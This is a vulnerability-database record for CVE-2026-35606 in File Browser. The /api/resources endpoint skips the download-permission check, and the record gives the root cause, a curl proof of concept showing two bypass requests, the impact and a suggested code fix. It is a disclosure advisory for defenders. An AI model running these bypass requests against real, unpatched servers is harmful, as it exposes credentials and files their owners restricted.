{"id":"CVE-2026-35606","aliases":["GHSA-67cg-cpj7-qgc9","GO-2026-5167"],"url":"https://o3.security/vulnerability/CVE-2026-35606","summary":"File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check","details":"## Summary\n\nThe `resourceGetHandler` in `http/resource.go` returns full text file content without checking the `Perm.Download` permission flag. All three other content-serving endpoints (`/api/raw`, `/api/preview`, `/api/subtitle`) correctly verify this permission before serving content. A user with `download: false` can read any text file within their scope through two bypass paths.\n\nConfirmed on v2.62.2 (commit 860c19d).\n\n## Root Cause\n\n`http/resource.go` line 26-33 hardcodes `Content: true` in the FileOptions without checking download permission:\n\n    file, err := files.NewFileInfo(&files.FileOptions{\n        ...\n        Content:    true,  // Always loads text content, no permission check\n    })\n\nLines 44-63: the `X-Encoding: true` header path reads the entire file and returns raw bytes as `application/octet-stream`, also without any download check.\n\nCompare with the three protected endpoints:\n\n    // raw.go:83-85\n    if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n    // preview.go:38-40\n    if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n    // subtitle.go:13-15\n    if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n## PoC\n\nTested on filebrowser v2.62.2, built from HEAD.\n\n    # Create user with download=false via CLI\n    filebrowser users add restricted testuser123456 --perm.download=false\n\n    # Login\n    TOKEN=$(curl -s http://HOST/api/login -d '{\"username\":\"restricted\",\"password\":\"testuser123456\"}')\n\n    # BLOCKED: /api/raw correctly enforces download permission\n    curl -s -w \"\\nHTTP: %{http_code}\" http://HOST/api/raw/secret.txt -H \"X-Auth: $TOKEN\"\n    # → 202 Accepted (empty body)\n\n    # BYPASS 1: /api/resources with X-Encoding returns raw file content\n    curl -s http://HOST/api/resources/secret.txt -H \"X-Auth: $TOKEN\" -H \"X-Encoding: true\"\n    # → 200 OK, body: SECRET_PASSWORD=hunter2\n\n    # BYPASS 2: /api/resources JSON includes content field\n    curl -s http://HOST/api/resources/secret.txt -H \"X-Auth: $TOKEN\" | jq .content\n    # → \"SECRET_PASSWORD=hunter2\\n\"\n\n## Impact\n\nA user with `download: false` can read the full content of text files within their authorized scope (up to the 10MB `detectType` limit). This includes source code, configuration files, credentials, and API tokens stored as text.\n\nThis bypass does not defeat path authorization. It bypasses only the `Download` permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check `Perm.Download`, one does not) indicates this is an oversight, not a design decision.\n\n## Suggested Fix\n\nMatch the existing endpoint behavior (HTTP 202 for denied downloads):\n\n    Content: d.user.Perm.Download,  // Only load content when permitted\n\nAnd add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:\n\n    if !d.user.Perm.Download {\n        return http.StatusAccepted, nil\n    }\n\n---\n\n**Update:** Fix submitted as PR #5891.","published":"2026-04-07T16:29:03.565Z","modified":"2026-08-12T03:51:49.368816979Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","fixedVersion":"2.63.1"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35606.json"},{"type":"ADVISORY","url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-67cg-cpj7-qgc9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35606"},{"type":"PACKAGE","url":"https://github.com/filebrowser/filebrowser"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:49.368816979Z"}}